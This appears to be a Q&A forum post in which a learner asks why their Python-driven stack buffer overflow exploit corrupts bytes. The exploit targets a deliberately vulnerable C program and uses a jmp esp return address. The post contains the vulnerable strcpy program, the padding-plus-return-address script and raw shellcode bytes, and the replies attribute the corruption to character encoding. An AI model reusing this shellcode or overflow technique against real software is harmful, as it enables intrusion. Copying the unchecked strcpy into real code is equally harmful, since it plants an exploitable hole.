0

I try write my own exploit. The idea is simple - overwrite return address to place where is opcode 'jmp esp'. In esp is address of my shellcode.

So I have this simple program:

#include <stdio.h>
#include <string.h> 

void do_something(char *Buffer)
{
    char MyVar[100];
    strcpy(MyVar,Buffer);
}

int main (int argc, char **argv)
{
    do_something(argv[1]);
    return 0;
}

My exploit have been written in python. Code: (I think that my shellcode not work, but it is not important now)

import os
import subprocess

out = '\x48' * 112
out = out + <address of 'jmp esp' opcode>
out = out + '\xcc\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x06\x8B\x68  \x08\xEB\x20\x5B\x53\x55\x5B\x81\xEB\x11\x11\x11\x11\x81\xC3\xDA\x3F\x1A\x11\xFF\xD3\x81\xC3\x11\x11\x11\x11\x81\xEB\x8C\xCC\x18\x11\xFF\xD3\xE8\xDB\xFF\xFF\xFF\x63\x6d\x64'

subprocess.call(['SimpleExploit.exe', out])

If address of 'jmp esp' opcode I have set for 0x41414141: (AAAA) everything is ok (of course 0x41414141 is not good address, but I can see that memory has been overwritten)

ollydbg output

My problem starts if I put correctly address. I found 0x7769E24D, so I used this value and after that in ollydbg I seen:

ollydbg output2

And this is my question: Why memory looks different? It looks like that one line has been removed. But why? Interesting thing is that If I change only one byte (0x77 to 0x41), memory is overwrite with correct value.

ollydbg output3

The second problem is that some of my bytes are transform to different values - for example 0x8b to 0x3f.

Could somebody tell me why this happen? Maybe this is a kind of protection? It is something with my operation system? I use Windows 8.1 x64.

sampathsris
  • 21,564
  • 12
  • 71
  • 98
Mariusz
  • 349
  • 2
  • 7
  • It looks like a character encoding problem. 0x3F is ASCII for `?`, that is the substitution character when some character cannot be properly encoded. And `0x8B`, depending on the encoding, may not be a character at all (it is not in Latin1)! My advice would be to write your exploit in C, too. Python does too many clever things with the characters, particularly in Windows. – rodrigo Jul 07 '14 at 11:06
  • you **might** get better results in your python code using a bytearray rather than a string. https://docs.python.org/2/library/functions.html#bytearray – Tony Suffolk 66 Jul 07 '14 at 12:20
  • You can't pass arbitrary unescaped characters as a command-line argument (here to SimpleExploit.exe). – Armin Rigo Jul 07 '14 at 13:32

0 Answers0